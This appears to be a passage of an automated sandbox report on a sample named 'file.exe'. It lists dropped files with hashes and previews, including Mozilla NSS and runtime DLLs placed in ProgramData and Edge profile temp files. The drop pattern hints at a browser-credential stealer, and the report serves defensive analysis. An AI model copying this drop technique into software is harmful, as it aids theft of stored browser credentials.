SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 21Installer.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1ef2f9c0-cd6d-4d7a-b3c6-e695d2fae668.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46382
Entropy (8bit):	6.087575345633493
Encrypted:	false
SSDEEP:	768:EMkbJrT8IeQc5dKJ3+/i1zNtf92vHY3KY65Dk+bCioeJDSgzMMd6qD47u304:EMk1rT8H1K9VMY65bFoetSmd6qE7y
MD5:	62714B94DEB838F0462ADDE817DEC869
SHA1:	58EC2AEB8F7609E9E9A0B0EA08DAAF257028AC68
SHA-256:	DD7F1E27BE0486D1FAEFC0BAA66DE30E2B40420571822AB6D033AB26A00AF2EA
SHA-512:	367AD148494BFD6E9B0F341F23BFC6CF8D7E01C8B07A71E2A17E47AA41069FE251C49D278C73BD5C95724A14180F707A6DE8F0083E86D95A997CDBE8519305D0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376861562535122","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"f0dcff1c-be69-492a-84d7-12555d26cc08"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732387966"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\28f39bf8-4d52-4486-8e8d-20c7ed00db3a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44914
Entropy (8bit):	6.095950626209807
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW0Ei1zNtfNHt5O5+DgPtKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynJ2KtSmd6qE7lFoC
MD5:	33F25F9581C22812025C08DCEE243B26
SHA1:	9839A8FE4AF4B7B4333B084A8543C19588A6DEA2
SHA-256:	F90BFB6ABDCC317A00F34D77EB80926E58CCAF4DE993AB9FA5B1A44C6864409D
SHA-512:	434CCBDAE74563966080263E16398F2474D12CD83D6DE0E667E3BC41BC8B7B965372011AA2A522FB855470F9463F413F502EB35E3FF43B336E6B6A611BDBB708
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\305b63d2-f906-42da-bccf-bf4f29129b98.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44914
Entropy (8bit):	6.095950626209807
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW0Ei1zNtfNHt5O5+DgPtKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynJ2KtSmd6qE7lFoC
MD5:	33F25F9581C22812025C08DCEE243B26
SHA1:	9839A8FE4AF4B7B4333B084A8543C19588A6DEA2
SHA-256:	F90BFB6ABDCC317A00F34D77EB80926E58CCAF4DE993AB9FA5B1A44C6864409D
SHA-512:	434CCBDAE74563966080263E16398F2474D12CD83D6DE0E667E3BC41BC8B7B965372011AA2A522FB855470F9463F413F502EB35E3FF43B336E6B6A611BDBB708
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3570f19e-d0ce-4848-b765-07ae252ef16b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46506
Entropy (8bit):	6.087224716663348
Encrypted:	false
SSDEEP:	768:EMkbJrT8IeQc5j9Jr+/i1zNty2vHY3KY65Dk+bCioeJDSgzMMd6qD47u304:EMk1rT8Hr91JY65bFoetSmd6qE7y
MD5:	1F0915FBD2AFBF14FB66DC9715380652
SHA1:	65E1FF6D68EB56D7404200EB4BC18C2F6DAD80E4
SHA-256:	08D84F2835551CCF147F396D7404B7E29F8AECF1DA092613AAF86518F6E1703F
SHA-512:	FC6A0C722CEEFA69A0DDF2705B7C1DE3E4EBB5103954C4FAAB765F30DE3D12D621D225C3850ED9A3834E54B61F00DEFC39BB3C385E84BA7A1F8B0208FE173C82
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376861562535122","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"f0dcff1c-be69-492a-84d7-12555d26cc08"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732387966"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4d96c1c6-81f2-4a96-bea1-c2c589b86a0d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46429
Entropy (8bit):	6.087315064155457
Encrypted:	false
SSDEEP:	768:EMkbJrT8IeQc5dKJr+/i1zNtf92vHY3KY65Dk+bCioeJDSgzMMd6qD47u304:EMk1rT8H1K1VMY65bFoetSmd6qE7y
MD5:	96A6D7C81635253509D4C0F0BC3B777D
SHA1:	D2635C9D902B377B00B60506D96F640B8819EECF
SHA-256:	176A32622AC3D6DE11183759D0F37ED69F790BC52B183247383DA93191DFEF8F
SHA-512:	E696A12A20C57ACAC203B9CDF7124C6173F5B94B8D4BBD47FB275CC34A01815A62C5BF4BEED18409C13E0823DD88A5A45C68B3C8A0B8A1D40E9BE7A2F491163C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376861562535122","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"f0dcff1c-be69-492a-84d7-12555d26cc08"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732387966"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8b393e62-064c-4004-8397-c4877a9e916b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46506
Entropy (8bit):	6.0872229797180175
Encrypted:	false
SSDEEP:	768:EMkbJrT8IeQc5jKJr+/i1zNty2vHY3KY65Dk+bCioeJDSgzMMd6qD47u304:EMk1rT8HrK1JY65bFoetSmd6qE7y
MD5:	8EB7B58F46A80E51AF735412FB3D5968
SHA1:	29E339A8B32085AE19909EBD923E5D33A58A0BC7
SHA-256:	AEFF2B5736B70121ADA206F7914834EB3C514DCD8CA1AAE3DCF89D3D48380164
SHA-512:	6E9848122EBC89FE1F779AAA25A6711875DAA466B8C70FB4CD7F45612B2FFB73767505C547ED6DF1A9A211F98F05B2B47B7293E9F89E1AEB6B104E18CE5BA4B3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376861562535122","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"f0dcff1c-be69-492a-84d7-12555d26cc08"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732387966"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\328c1761-2ea4-41da-aa23-0150cbc635e6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67422479-1B14.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4584528693163572
Encrypted:	false
SSDEEP:	6144:AhKs9Ly1MCKxRQSE/2mztqMMraHWOEy4:WCKAScJ
MD5:	A31AA0D9ACD292E789D64DC4ECD3083B
SHA1:	5553A7B6814B6D36FF82D02B1D6F55783968BDB2
SHA-256:	3E3596EF1E62AE61157663A7D6408E9335C7837DE18C541AF040F3358BF48327
SHA-512:	2CA4B0A4516FA79A718D9630FC8671754E6397347015AAED81DD404A67818134D14A58BBCE0CD6316023B6B921AA7935CDBDFB9BD05918D79A404052DA6172C6
Malicious:	false
